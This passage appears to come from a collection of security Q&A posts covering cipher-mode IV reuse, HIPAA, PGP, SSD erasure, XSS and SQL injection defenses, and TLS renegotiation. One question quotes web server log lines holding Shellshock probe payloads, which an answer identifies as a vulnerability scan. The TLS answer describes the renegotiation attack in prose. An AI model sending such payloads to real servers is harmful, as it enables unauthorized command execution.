Summarizing atdre's link: OWASP ESAPI conveniently provides a mapping from a set of indirect references to the direct references, so convenient that you can even use a different mapping upon each request to your service.

Alternatives include container-managed security, Apache Shiro, and Spring Security, all of which are discussed in a StackOverflow question.


Null IV for AES CBC vs GCM If we agree that using a null IV for AES in CBC and GCM mode is not a good idea, but for whatever reason one is encouraged to use a null vector for several messages using the same key, is there a "least worst" option between the two modes ?

You should not do this, but if you must, use CBC.

GCM is like CTR mode, but with an authentication tag built into it. Unfortunately, if the nonce (IV) is reused, an attacker can recover the key used for authentication, making the authentication tag all but useless. Now you're basically using CTR mode, and CTR mode does not deal well with nonce reuse. An attacker can recover the XOR of any plaintexts encrypted with the same nonce.

With CBC mode each plaintext block is XORed with the previous ciphertext block, but the first plaintext block is instead XORed with the IV. When an IV is reused, an attacker can tell if the plaintexts share a prefix with a length divisible by the block size (ie you can tell if there is a 16 byte, 32 byte, etc prefix).

Edit: As Xander points out, since GCM's authentication tag is broken when a nonce is reused, this answers your question.


Becoming HIPAA Compliant What is required to become HIPAA Compliant?

Do I need to take a test or do I just need to follow a certain set of guidelines?

EDIT: Just to provide my background. I am a small IT Firm and we would like to expand into the medical field and work with all the smaller medical places.

HIPPA isn't a certification, it is a set of regulations for proper handling of personal health information.  The requirements vary based on what your role is and what data you handle.  I would recommend visiting the Health Information Privacy section of the Health & Human Services site for more info.

It also might not hurt to hire someone to evaluate your compliance if you are still confused about it as it is a legal requirement for handling certain types of health information.


is it possible to keep something invisible to the server admin? Let's considering the following scenario, an investment firm runs a computer cluster(using red hat as os), some computation which involves some company's trading secret will run on it, there is a SA who is responsible for maintaining the cluster, but the firm think it is best to keep the trading secret to just a few very senior people(basically cofounders) here, what is the best way to let the server administrator to maintain the cluster without being able to touch the trading secret?

Update:

In this case the trading secret means source code and programs.

these programs are building blocks for profitable trading algorithms that competitors in the market would like to pay to gain insights(and this does happen), so even if the admin don't know/don't understand the source codes or don't know how to do with the programs, someone else, with professional skills will happily to do that part of job.

The cluster has 30-40 computing nodes, is it feasible to let a cofounder to be a system admin without taking all his time on it?

Some of the cofounders have sufficient cs background to write  efficient code for supercomputers, but none has system admin experience.

No, as a rule of thumb you can't completely block administrators and still allow them sufficient access to do their jobs. You can throw up some barriers that make it difficult for an individual abuse their privileged access (and remain undetected) without conspiring with others.

Most companies deal with these kind of challenges in more or less the same way: they mitigate the risks with procedures and controls, enforced by contracts, technology and auditing.

you hire capable and trustworthy people and offer them sufficient incentive to continue to act in that fashion (the carrot: interesting work, appreciation, cash and the stick: penalty clauses, prosecution, etc)
after initial setup administrative access is restricted (think very limited sudo instead of a known root password)
use tooling so your administrators don't need actual access to the systems commandline to perform common administrator duties
privileged account management, every privilege escalation follows procedure and requires a strict four eyes principle
No single individual gets to hold all the keys to the kingdom
trust but verify, implement independent auditing
separation of duties, a sysadmin does not have DBA rights, nor vice versa
encryption of data at rest (makes it difficult to get to your critical data by by-passing internal access controls in your application by reading it directly from disk)
SELinux mandatory access controls can really restrict "the power of root"
and I could even imagine a setup where every administrator action is scripted, rather then manually executed.

So there is no single measure, but a combination of the measures I mentioned and many I may have skipped, can make it difficult for a sysadmin to get access to data he/she should not, at least not without discovery.


PGP question decrypting my own message from 2 days ago I have recently started using pgp and am still in the infancy stages with knowledge.
i sent a friend an encrypted message using pgp4usb.
a few days later they responded, with relevant info, being able to read and decrypt my message. by this point i actually couldnt remember exactly  what id said to them so i wanted to review my orginal message.
i took the information putit  in to pgp4usb and tried to decrypt. i get an error message saying "no secret key"
as this message was mine and was sent from my computer a few days ago, i assumed viewing it would be easy to do. i have since tried playing within pgp writing messages and decrypting using my keys and its been fine, i tried importing my back up private key and it has said that one exists that is identical, so i didnt bother

what can i assume the problem to be? i moved my back up private key from one folder to another but other than this nothings changed

I notice that "encrypt to self" is not included until 0.4 of gpg4usb:

  New alpha release 0.4

  added encrypt to self functionality, so that every message additionally is encrypted for the choosen key

Encrypt to self is not usually the default with command line PGP/GPG clients - it's common for command line PGP/GPG systems to not include the sender's key in the encrypt-to list, making it impossible for you to read what you sent.

  Note: PGP Command Line, by default, does not encrypt to the default key. If you want to encrypt to yourself, you will need to specify your key as a recipient.

PGP has --encrypt-to-self for this purpose; GPG uses --encrypt-to your_key_ID instead.


Should I delete SMS messages containing one-time passwords? I have had one-time passwords sent to my phone via SMS.  Those one-time passwords include those for 2FA and the occasional password reset.

Should I delete those SMS messages after the one-time passwords have been used?

The used one-time passwords cannot be reused, but I am wondering if the history of used one-time passwords present a security vulnerability.  Say if the authentication of the site use an insecure algorithm for the one-time password generation.  Given enough history of the one-time passwords, someone who manages to retrieve the SMS stored on my phone could derive the next one-time password in the sequence.

Out of scope of this question: Assume the SMS messages are not intercepted.

As usual, let's start by defining the threat model: you're worried about someone getting a hold of your phone and looking through your SMS history. But you're not worried about the SMSes being intercepted. That's a bit of an odd security model cause intercepting SMSes is really easy, and stealing your phone and getting through a strong password is relatively hard. But ok.

  Say if the authentication of the site use an insecure algorithm for the one-time password generation. Given enough history of the one-time passwords, someone who manages to retrieve the SMS stored on my phone could derive the next one-time password in the sequence.

Of course I can't guarantee that every site on the internet does OTP properly, but it's a pretty strictly defined standard. See wikipedia/Time-based_One-time_Password (and the more general wikipedia/HOTP). Since this is based on strong cryptographic hash functions, there is no risk of an attacker deriving future values from the past ones. Or if they can, then the hash function would be considered broken and they would retire it in favour of a better one.

It's also possible that a website isn't properly enforcing the "one-time" part of one-time-passwords, but I mean, that's a pretty basic part of implementing an OTP system.


Tails OS for Android and PC? Can I use Tails OS on a USB-stick on both an Android tablet and a PC, or do I have to have two different versions?

Would I have to go into the BIOS to make this work?

Is it an Android tablet? At the very least, your tablet & PC probably have different cpu architectures, so the exact same install/iso probably wouldn't work. And I haven't seen any Android tablets that can boot from an external drive... anyone else?

There are a few Android apps for TOR & similar tools (chat secure, etc) that may give some similar functionality as Tails has. See https://guardianproject.info/apps/


Integrity of downloaded Oracle JDK (/software in general) Found something related Why aren't application downloads routinely done over HTTPS?

This is a question about general security from a noob. I couldn't find anything relevant about this topic via my Google searches. Google prefers to display actual application problems with java & ssl/https/downloads.

Why does Oracle still offer its official JDK (Java Development Kit) archives via plaintext HTTP?

I'm genuinely curious, because IT tech (Twitter, Google, Facebook, Github, ..., cool stuff) seems to be advancing towards HTTPS end-to-end encryption, so that if we trust in CAs (see below), we should have good guarantee that the software (or code) downloaded from these sites is original., Java and othter communities around JVM seem active, and yet, the company paying the development of the official JVM cannot afford to upgrade its website with downloads to SSL/TLS.

I'm very curious about this in general, because people on Internet seems to write a lot about bugs in crypto software (like Heartbleed and others which I forgot) and yet, many people and companies not actually engaged in software engineering download and run code that can be very easily infected by malicious MITM (and now we almost certainly know that certain powerful entities actually do this).

How much can we rely on Certificate Autorities? AFAIK, some of them are in countries, where single entity (gov) can covertly do whatever it wants on their machines.

AFAIK, some of them are in countries, where single entity (gov) can
  covertly do whatever it wants on their machines.

Yes, pretty many countries are like that today.

Sadly, concerning governments, the CA system is not (and never was) secure.

CAs are still good for preventing some people and organisations from attacking, just not all.


Best practices on securely storing access tokens What would be the best practices for storing access tokens of another api for your users? In particular I'm developing an application with some friends that let's user log into Facebook to both authenticate to our internal REST api and make it able to fetch their friends (and other things).

I was thinking of generating a key and use it to encrypt the long-term access token for the user's Facebook account and possibly other sensitive information. As encryption scheme I'd use AES-256-CBC and the key would be sent to the client, which holds on to it (and refreshes it once in a while). But if I generate that key with any randomness in it, then the user can only use one client. As the other clients would need that key to decrypt the Facebook access token and other data. A solution would be generating the key from something unique during the Facebook log-in, but unfortunately the only such thing I can find is the userid, which I need to find the user's record in the database.

There are actually a lot of topics about this over on stackoverflow, but nothing answers to what I want. What I actually want is to encrypt the Facebook access token and other data using a key that only the client-side knows. The creation of those keys should only be possible when the user authenticates using the Facebook sdk or when the current key is supplied.

Any ideas?

The sum of what the client stores and what your server stores must be sufficient to recover the user-specific secret data (e.g. Facebook access token). What the client stores is, mostly, the user's password (the only permanent storage area on the client side is the user's brain, if we want to allow the user to use several distinct machines at will). If I understand correctly, you do not want your server to store the data "as is": in case your server is fully compromised, the user's secrets should still be safe (as much as is possible).

This points to password-based encryption. From the user's password is derived a symmetric key K which is used to symmetrically encrypt a bundle which contains the user's secrets, e.g. the Facebook account. Technically, this would look like this:

When the user registers, he chooses his password P and sends it to your server.
Your server generates a random salt value S and computes PBKDF2 over P and S, to produce 256 bits of output T. Let's call A the first 128 bits of T, and K the other 128-bit half.
The first half (A) is stored in the server's database; this will be used to authenticate users.
The second half (K) is not stored; this is the symmetric key for that user. User's secrets will be encrypted with K.
When the user logs in, he sends his name and P to your server (over HTTPS). Your server retrieves the salt S for that user (as stored in its database) and recomputes T (using P and S with PBKDF2). If the first half of the recomputed T matches the stored A, then the user is authenticated and the second half of T is K. The server can then decrypt the stored bundle and access the Facebook access token.

With this setup, the server never stores (on its disk or in its database) the cleartext Facebook access token, but it can access it when the user logs in; it is up to the server to remember (in RAM) the Facebook access token as long as it needs it.

Note that when the user changes his password, this also changes K (the server must also generates a new salt S, but even if the server mistakenly did not, K would still be changed); thus, the server must decrypt the stored bundle with the old K and encrypt it again with the new K when the password is changed. This is not hard to integrate because password-change interfaces customarily ask for the old password and the new password, so at that point the server has both.

Also note that when the password is forgotten, the bundle is lost. There is no recovery for that case. If the user forgets his own password, then you will have to do some password reset, which is akin to a new registration; and a new Facebook access token will have to be obtained.

In all of the above, we see that your server still sees the user's password. If your server is fully compromised and hijacked, then the attacker will be able to observe users' passwords and users' Facebook access tokens for all users who log in while the attacker controls the server. Preventing that is much harder. Arguably, if your server presents a Web interface only, where all "intelligence" on the client side is Javascript sent by your server, then it is impossible to do better than what the scheme above does, in that situation.


relationship between anti-spam solutions and whois databases Are there anti-spam SMTP proxies(like ASSP, qpsmtpd) or e-mail spam filtering solutions in general(like SpamAssassin) out there which create for example block filters based on objects in RIR databases? If yes, then which objects(inetnum? route?) do they use and how?

Not sure if helps, but I have used RBL lists for a long in my mail servers and they do a pretty decent job (they take care about 90% - 95% of the spam).

It works much better than SpamAssassin (and without hassle). Still, I use SpamAssassin for the rest of the spam.

Now, about your specific question: If I understand correctly, what you want is to block complete segments automatically, right?

I think Whois inetnum and route are the same, just different representations. Don't take my word as the holly truth, as I have no so much experience with those values, but that is what I believe.

I think this question and this one may give you some clue on how to achieve what you want.

While I see an advantage on blocking entire segments, I think you won't get so much benefits from that. The reason is because spam comes from many different segments and blocking one segment will only block very few positive IPs.

One problem I see, is that you may over-block IPs:

I will give an example in real life: Here in Japan the company NTT owns a mail service with the "ocn.ne.jp" domain. It has several smtp servers which are originated in the same segment (randomly assigned to their customers). Sometimes one of those servers gets black listed (RBL) and my servers block emails coming from there. Sometimes they are blocked for hours due to some misuse in some account. But that doesn't mean I should block all the segment. If I do that, it would be a big problem as its commonly used here in Japan.

OCN is not the only case, I have seen it too with yahoo servers and others.


What method of secure erase is sufficient for MacBook Pro SSD Drives? I would like to securely erase the hard drive of a SSD in a MacBook Pro.  The Disk Utility does not give me the option to wipe this drive even when I boot into the System Partition.  (it is greyed out).

When I called Apple Tech support they said

  "Secure erase is likely disabled because it will cause undue wear on the hard drive, and reduce its life"

I did notice that I am able to wipe the drive using terminal diskutil and had the following options:

Note: Level 2,3, or 4 secure erases can take an extremely long time.

0 - Single-pass zeros
1 - Single-pass random numbers.
2 - US DoD 7 pass secure erase
3 - Gutmann algorithm 35 pass secure erase
4 - US DoE 3-pass secure erase.

Question

What level of secure erase is sufficient when deploying the machine internally?  ... or for sale on EBay?

How much of the hard drives' lifespan is reduced when using each of the wipe options?

There are a few problems with secure erasing SSDs. Sometimes the blocks are unassigned, but the data is still available if people where to dig into it at a lower level. Also studies have shown that secure erase ATA commands are often poorly implemented and as one article states on Arstechnica:

Basically, the issue with SSDs is this—let's say your SSD is a pirate,
and your data is buried treasure. If you tell an SSD pirate to make
his buried treasure disappear, all he really does is burn the treasure
map. The buried treasure is still out there for someone to find if
they know where to look. This isn't the case for all SSDs in the long
term, but it is the case for all of them in the short term.

What seems to be the consensus is that you have to encrypt your hard drive and then zero it. The life span can be impacted and reduced by maybe 10 to 25 percent, ( and this is not from one time obviously but continuous, heavy strain) however lifespan is normally rated at about 10 years. So realize that by the time it dies you will probably have already bought a new one for other reasons. Also note that you will still be able to read the drive, just writing will not work anymore.


Is hashing schema information for client when generating SQL queries more secure? I'm planning to implement a web system wherein APIs and presentation for CRUD in data tables are automatically generated, like that in phpMyAdmin. How I plan to implement this is to construct SQL statements based on requests from the client.

Client receives metadata (table, column) information from server.
User interacts, does something, say update a column on a row.
Client sends request, including an identifier for the table, an identifier for the row, identifier of the column and the new column data.
Server builds query and executes stuff.

Now what I'm interested in are the highlighted words in #3. Just using plain identifiers (the name themselves) would enable savvy users to easily modify requests to their will (e.g. directing request to another table/column). Another important thing I consider is having a read-only presentation, which still should include table metadata for things like sorting, filtering, etc. I'm quite eerie of exposing such metadata when unencrypted communication is used.

Provided that sufficient security (transport encryption (except for some cases), input sanitation, privilege checks) are in place, my question is:

Will hashing (obscuring, maybe in a different fashion) the table metadata (table name and/or column names) provide any additional security? Or will input sanitation (making sure the table name passed is really a table, same for columns) and privilege checks suffice?

I realized that for most of the case (that is, except for the read-only scenario stated above) the user is already inside the airtight hatchway, but would hashing still improve security?

It would be security through obscurity so no, it wouldn't improve security. It's been shown time and time again, if your only defense is that "nobody knows the mechnanism in place, then all it takes is for one person to stumble across it and, within minutes, hundreds of people will know.

It MAY make things harder, but it just takes one witty person to deobfuscate your scheme.


Could this solve SQL injection and XSS vulnerabilities? edit I got some good responses about Frameworks but the crucial part of this is that it's built into the programming language itself, so it's literally impossible to write an XSS vulnerable or SQL injectable web site even if you wanted to. (Of course you could write a SQL parser that takes a string and converts it to an SQL data type then executes it, or an HTML/JS parser that enables people to submit their own HTML and JS to be embedded in your site.. but no one would write a parser by accident)

Currently, a web server runs a PHP script which outputs a string of text which is interpreted as HTML by a parser.

But if the web server ran a different language lets call it "SPHP" (secure PHP) which outputs an HTML data structure rather than text.. then it gets rendered into a string by the web server and sent to be interpreted as HTML...

(Mathematically this means instead of writing a function php : web request --> string you write sphp : web request --> html and there is a function render : html --> string. The important thing to notice is that the image of the  function render only contains strings which can be parsed into valid HTML.)

at first this would just mean you can't ever have a unclosed HTML tag in your output, but then I realized..

You could also completely solve XSS with it: when ever you try to put a piece of text (e.g. from user input) into the HTML data structure it will escape it in exactly the correct way to stop an XSS vulnerability.

In fact the idea can be used "backwards" for SQL: rather than calling mysql("SELECT mytable WHERE name=$user AND password=$pass") you would build an "SQL query data structure" that would have everything escaped correctly as you built it.

It seems like if you programmed a web site using the SPHP language it would be completely free of XSS and SQL injection.. the top 2 OWASP vulnerabilities.. but that can't be right because no one is moving to SPHP despite the amount of hacks that cause so much security damage and stuff.. so what have I overlooked?

Both of these ideas have already been proposed.  From a security perspective, they can be made to work.  However, they are not widely adopted because they require too drastic a change to the way that developers write code, and many developers are not willing to do that.

That said, there has been more recent work on better approaches, approaches that achieve similar security properties but without disrupting the way that developers write code nearly as much.  So your idea is not without merit.

Early, seminal research. To see your idea worked out in greater detail, look at, e.g., this research paper:

Static Enforcement of Web Application Integrity Through Strong Typing, Wil Robertson and Giovanni Vigna, Usenix Security 2009.

It looks at exactly the idea you proposed for defending against XSS, builds a framework that works in that way, and evaluates it.  It turns out you may want to do something a bit more sophisticated than you suggested, to prevent the app from inadvertently adding script tags (while still allowing web pages that are intended to have script tags, to have them), but it's feasible.

The primary shortcoming is that it radically changes the way you write web applications, and it is less convenient for developers.  Instead of writing a simple HTML fragment like

Hi John!

, you have to write several lines of code with several DOM operations.  As a result, your code gets wordier.  This is a barrier that makes it harder to persuade developers to adopt the idea.

Since then, there has been a lot of work on attempting to make this sort of idea more palatable for web developers.  Let me outline some of them.

Context-sensitive auto-escaping. Today, the best defense against XSS is to use a web programming framework that supports context-sensitive automatic escaping.  The idea is that the web framework automatically identifies what escaping function needs to be used for each variable that is dynamically interpolated (at runtime) into the HTML, and automatically applies that escaping function.  This is great, because it provides a framework that is "secure-by-default" and "secure-by-design".  There's a lot less opportunity for developer error or developer oversight to lead to a severe vulnerability in the web application.

Context-sensitive auto-escaping is an especially good match for frameworks that are based upon a template engine: i.e., where the framework enforces separation between code and content, and uses HTML templates for the content (with holes that can be dynamically filled in based upon the results of the computation by the code).

However, today only a few web frameworks currently support context-sensitive auto-escaping.  Google's ctemplate does.

To learn more about context-sensitive auto-escaping, read the following questions on this site:

Filter user input before the database or upon display?
Current best practices to prevent persistent XSS attacks

and the following research papers:

Context-Sensitive Auto-Sanitization in Web Templating Languages Using Type Qualifiers,
Mike Samuel, Prateek Saxena, and Dawn Song, CCS 2011.
A Systematic Analysis of XSS Sanitization in Web Application Frameworks,
Joel Weinberger, Prateek Saxena, Devdatta Akhawe, Matthew Finifter, Richard Shin, Dawn Song, ESORICS 2011.
GuardRails: A Data-Centric Web Application Security Framework, Jonathan Burket, Patrick Mutchler, Michael Weaver, Muzzammil Zaveri, and David Evans, WebApps 2011.
Efficient Character-level Taint Tracking for Java, Erika Chin and David Wagner, 2009 Workshop on Secure Web Services.

Interpolique.  Interpolique is a proposal by Dan Kaminsky that attempts to defend against these vulnerabilities in a way that is a bit less obtrusive and more familiar for PHP developers.  (See also Blueprint, for a predecessor.)  You can find a detailed evaluation of Interpolique at this question: Interpolique: transparently preventing SQL Injection and XSS with base64 encoding, what happened?

Prepared statements. Today, the standard defense against SQL injection vulnerabilities is to use prepared statements (strictly speaking, parametrized queries; but many developers know them as prepared statements).  This is a "good-enough" defense against SQL injection.  It is widely supported by databases and frameworks, well-understood by developers, intuitive and familiar to developers -- and provides "good-enough" security.  Therefore, there is little motivation or need to develop or adopt better solutions for SQL injection.   Today, the predominant problem is not that people use prepared statements and end up with vulnerable code -- the predominant problem is that too many web applications still use string concatenation rather than prepared statements.

Therefore, SQL injection is largely a solved problem, from a technology standpoint.  That's why most of the research focuses on XSS, which is a considerably harder problem.


Risk of temporarily unencrypted data during transmission between systems I have encountered a situation where sensitive data files are saved unencrypted to server file directories temporarily for 1 to 30 minutes before being sent to a destination application. The data files are not full extracts from the source application, but files for discrete time periods.  For example, if the files was obtained by an unauthorized person they would have one day's data, not the full year's data if the person where to obtain the data directly from the source. The servers that temporarily host the data are behind a firewall, have access control restrictions in place, are patched, and scanned for vulnerabilities. The data is encrypted at rest at the source and destination applications, and during the remainder of the transmission process.  I am curious about the following:

1.) In the grand scheme of things does this represent a major exploitable risk or a minor security risk?  I realize this answer might be influenced by the content of the file as well as other mitigating controls not mentioned.

2.) What are some general scenarios where this gap could be exploited?

Thank you all!

This is a generic vulnerability, for example Insecure Temporary File - OWASP .

You ask if this is "a major exploitable risk or a minor security risk".  That is the wrong question -- a vulnerability is not a risk. For example, using the Internet Security Glossary a risk is "An expectation of loss expressed as the probability that a particular threat will exploit a particular vulnerability with a particular harmful result."  You have one of the parameters -- the particular vulnerability -- but you need to know what kind of harmful result you are expecting (probably disclosure of sensitive data) and then a particular threat and the likelihood that that threat can exploit the data.

Suppose the material is quite sensitive indeed, whose disclosure can put the company at risk.  Suppose that a system administrator has access to the temp directories, and is curious and clumsy or disgruntled.  The risk could be very high indeed!

You describe some protective controls.  The servers are enclaved and perhaps you have done your diligence -- but without more information, there isn't any way to know.

That's why the job of a security officer is interesting.  :-)


Do browser add-ons increase security risk due to possible vulnerabilities A large amount of people use add-ons such as NoScript or AdBlock to avoid exploitation by malicious JavaScript from advertisments. This decreases the risk of becoming the victim of web-exploits.
But wouldn’t it be possible - if a bug was to be found in one of these popular extensions – that this actually increases the risk? As many people use it, I would assume that there would be quite a large interest in finding such bugs. Would an extension possibly cause security problems even if the target browser does not have a specifically exploitable bug? I believe that Chrome tries to keep security issues at bay through its sandbox, but is this still a possible scenario?

Yes, the more components you have on any process, the more room for vulnerabilities.

In the case of browser extensions, some of them have permission to read all your history, cookies, navigation data and even change code on the pages you access. Some of them don't have vulnerabilities, but are design to inject malicious code.

AdBlock and NoScript are popular extensions, so it's expected to them to be targeted.


strange web server log activity I've noticed some suspicious activity in my webser logs:

188.165.66.110 - - [20/Feb/2015:03:58:28 +0000] "GET /?x=()?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:23 +0000] "GET /?x=()?x=()?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

188.165.66.110 - - [20/Feb/2015:03:58:17 +0000] "GET /?x=() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @ HTTP/1.0" 301 178 "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @" "() {:; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H;/bin/uname -a;echo @"

176.190.169.100 - - [19/Feb/2015:20:06:36 +0000] "\x9B9\x8C\x13s\xF2\xE2^T\x1BL\x07\xE8\x22\x1CY4\x91`\x0F\x0ELh\xDCXEeZ\x87\x8E/\x5C\x903\xEF\x1F\x07\xD9[J" 400 166 "-" "-"

 109.239.221.237 - - [19/Feb/2015:20:07:16 +0000] "6\x92@\x88u\xD3+/\xD2\xD2\xFE\x98\xF4C\xB3\x89\x04;\xA7\xF1U\xF8\xA5\x02\xD8\xA4\xCCK\x9F\xC6e\x11" 400 166 "-" "-"

Any ideas what he was trying to achieve here?

This is an known attack, Shellshock. On servers with a vulnerable bash shell, the attacker can exploit an condition that executes shell commands by sending a special crafted URL.

Basically, the attacker is scanning your server to see if it is vulnerable to it. If your server was found to be vulnerable, probably you would see a few wget/curl being sent in the URLs as well.


Ip tracking of stolen laptop Somebody stole my laptop. I made a connection to it while he had Teamviewer still running. The police says that they can't start tracing the laptop because the IP is abroad. But what doesn't make sense is that the IP traces to the city I live in: Amsterdam.

Does anybody know any good ways to trace an IP address?

You can use the nearby wireless networks to pinpoint the location of your computer, If they are nearby, or connected to a fairly unique SSID/Network Name, you can most likely find it on the Wigle website.

To ensure that you are able to track your laptop if they should remove teamviewer or your user account, I would remotely install a tool such as Prey.

Edit: daniel Azuelos suggest creating a backup admin account - good idea.


SSL / TLS Renegotiation Handshakes MiTM Plaintext Data Injection- medium or low risk? This is a Nessus finding, which is considered medium by default.

Basically it may allow for some plaintext injection which may allow for some man in the middling.

My question is, has these been exploited in the wild? Are there to tools to take advantage of it? I'm thinking of permanently reducing the risk to low for the reports I give to my clients, but want to verify that it makes sense to do so before proceeding.

Is there any argument as to why this finding should be considered medium, going by CVSS ratings?

The vulnerability applies in situations where:

The attacker can do a MitM at the network level (usually through DNS poisoning or by operating a fake open WiFi access point).
A Web site offers some services over HTTPS.
Some parts of the Web site require a user authentication.
The Web server accepts to to SSL/TLS renegotiations.
The Web server is ready to retroactively apply authentication to previous requests.

The last point is the crucial one. To understand it, let's see how the attack proceeds:

The client (victim) C wants to connect to the server S. However, the attacker A intercepts the connection at the TCP level and answers it himself.
The client C sends its ClientHello SSL/TLS message to the attacker.
The attacker connects, as a client, to the server S. The attacker then proceeds to do a normal SSL/TLS handshake with the server.
The attacker injects a command X to the server S (the kind of command that requires user authentication).
Somehow, a renegotiation is triggered: this is a new handshake, complete with messages, performed within the already established A->S SSL connection.
For that renegotiation, the attacker simply sends the ClientHello from the client C (who is still waiting) and forwards the subsequent messages back and forth between client and server. The nifty trick here is that the handshake is the initial one from the point of view of the client, but a renegotiation from the point of view of the server.
During or immediately after the handshake, the server authenticates the client; and then, somehow, the server just assumes that it has been talking to the same client all along, and applies that authentication to the command X that it receives before the renegotiation. The server executes the command X in the name of the client C, whereas the command was injected by the attacker.

How can this happen ? The important point is that the server receives the command X from what is, at this point, an unauthenticated client, but does not execute it right away. The server waits for the renegotiation to occur, and then some sort of authentication, and only then processes the command. In an HTTPS request, this can realistically happen only if the server triggers the renegotiation itself, and expects the second handshake to provide the authentication. This relates to the layered nature of HTTPS: it is HTTP-within-SSL, so everything that happens at the SSL level is transparent for the HTTP layer. Once the HTTP request X is received, the server delays the response until all the SSL-level tasks have been performed.

So, in practice, such things happen when using client certificates. This is typical of how Microsoft IIS operates:

Client connects to server. During the first handshake, the server knows the server name that the client sees in the target URL (through the Server Name Indication extension) but not the URL. The server does not request a client certificate.
When the first handshake has been completed, the client sends the actual HTTP request. At that point, and only at that point, the server learns the target URL, with the complete path and parameters. The server then realizes that the request is for a portion of the site that requires certificate-based client authentication.
Before responding to the request, the server triggers a renegotiation; this time, the server asks for a client certificate.
After the second handshake, the server knows that it is talking to the right client, and executes the HTTP request.

IIS requests client certificate only on specific paths, not for a complete server, mainly because user interfaces offered by browsers for user certificate selection are, let's say, aesthetically suboptimal. In fact they are downright frightening for an average user. User certificates are a rarity; very few servers work with them.

Therefore, the only plausible scenario where the TLS renegotiation vulnerability applies is a Web server that requires client certificates, and works like IIS does. If you do not use certificate-based client authentication, then the vulnerability is not a problem (well, at least, I see no way this vulnerability could be leveraged). On the other hand, if you do use client certificates, then the vulnerability is a very serious one and is not hard to exploit (all it takes is a 100$ device). Thus, the involved risk is either "none" or "high", depending on system architectural characteristics that tools like nessus cannot guess automatically; nessus then responds with "medium" which, in this case, really is a "depends" or "maybe".

Note that the vulnerabilities comes from the fact that the very same handshake messages are used for the initial handshake and for a renegotiation. The fix for that vulnerability really is a way to unambiguously mark ClientHello messages as either "initial" or "renegotiate", so that the server may detect foul play. But it works only if both client and server support it, and the server refuses to talk to client that do not support that extension. Nessus is telling you that your server accepts to talk to clients who do not support the extension, and thus are potentially vulnerable (depending on whether the server will require client certificates in the IIS way). There is a trade-off: by enforcing the extension support, the server adds protection in some cases, but also breaks compatibility with old legacy browsers (which may or may not be a desirable thing).

From a conceptual point of view, the real problem is that the SSL/TLS standards describe the renegotiation but never explain what security characteristics are really achieved through it. IIS just assumed, wrongly, that retroactive authentication was part of these characteristics.


From a security standpoint should users be asked to confirm their password when registering? Is it advisable to have users re-type their password to confirm it's correct? On User Experience the general consensus seems to be no but I'm wondering if this has security ramifications?

EDIT: my two-cents is wouldn't that lead some users to feel the site is unsafe or unprofessional?

EDIT 2: In fairness the question asked on UX was regarding a password shown in plain text (so less likely a mistake will be made), does this change any answers?

The real reason to have a user type their password twice is to avoid mis-typing it in. It is very easy, when typing a new password, to get a capital letter incorrect, or accidentally type the letter next to the one you think you are typing.

If this happened the user would not be able to access their account, at which point weaker forms of security, like a password reset, may come into play.

Typing it twice is a quick check that the user is consistent enough to get it the same twice - so they probably have it correct.


On a single user laptop does it make sense to have a separte password for root and the user? I have a laptop on which I'm the only user. While installing the laptop I was wondering why I should choose a different password for the root account and user account. My reasoning is:

The change of finding a valid password doubles if the user and root have different passwords. Of course the salting algorithms make sure that the same password will result in different hashes but still if one starts to guess passwords it increases the change of finding a good one.
The user has sudo rights so if an hacker finds the user password it can sudo and have the same powers as root. More or less the same is true if the root account is hacked.
I have disabled the ssh service on this laptop. There are no other ways to login from remote on this machine.
The filesystem is encrypted with a different password.

What are the flaws in my thought process?

It's all about your own personal risk tolerance and your threat model. In short, you are worried about someone who is physically in possession of your laptop and has guessed your user password, and you want to keep them from having full admin rights. I'm having a hard time coming up with a scenario where that may actually happen, so I can't help but think that you are overthinking this. Moreover, for most personal computers, the user account is typically more critical than admin access;
https://xkcd.com/1200/
Then again, remembering two passwords isn't much harder than memorizing one, so go for it if you want. Just make sure you have a way to copy your data off the machine without needing admin credentials - you'll want to do that if you ever forget your admin credentials and need to reinstall.
Still, I might suggest an alternate solution:
Use a strong password and don't tell it to anyone


Classification of countermeasures for family of vulnerabilities I would like to know if anyone of you has already read about some models that would classify a set of possible countermeasures against a family of vulnerabilities.

What I mean by a 'family of vulnerabilities' is, for example, vulnerabilities that would allow an attacker to realize a denial of service. The countermeasure to such vulnerabilities is generally the same, or at least in the same class of countermeasure.
Of course, this requires a bit of abstraction and generalization, but I believe this to exist, even if I didn't find anything yet.

This could be presented in very high level way such as: software vulnerabilities are solved by this kind of countermeasures and hardware vulnerabilities by this kind.
Or in more in-depth ways.

STRIDE is the closet of what I am looking for so far, but there is no discussion on what countermeasure can be used against a particular threat. So if you guys know anything that is a serious track (scientific publication) or that is well used (standard?), I would appreciate some sharing :)

I think this might be of your interest
"DeTT&CT aims to assist blue teams using ATT&CK to score and compare data log source quality, visibility coverage, detection coverage and threat actor behaviours. All of which can help, in different ways, to get more resilient against attacks targeting your organisation. The DeTT&CT framework consists of a Python tool, YAML administration files, the DeTT&CT Editor and scoring tables for the different aspects."
https://github.com/rabobank-cdc/DeTTECT


Can we read HTTP cookie value? In one of the applications I'm testing, the cookie contains the username (set:cookie: username) in the HTTP header. Is it possible to read these cookie values using any methods? The site uses HTTPS.

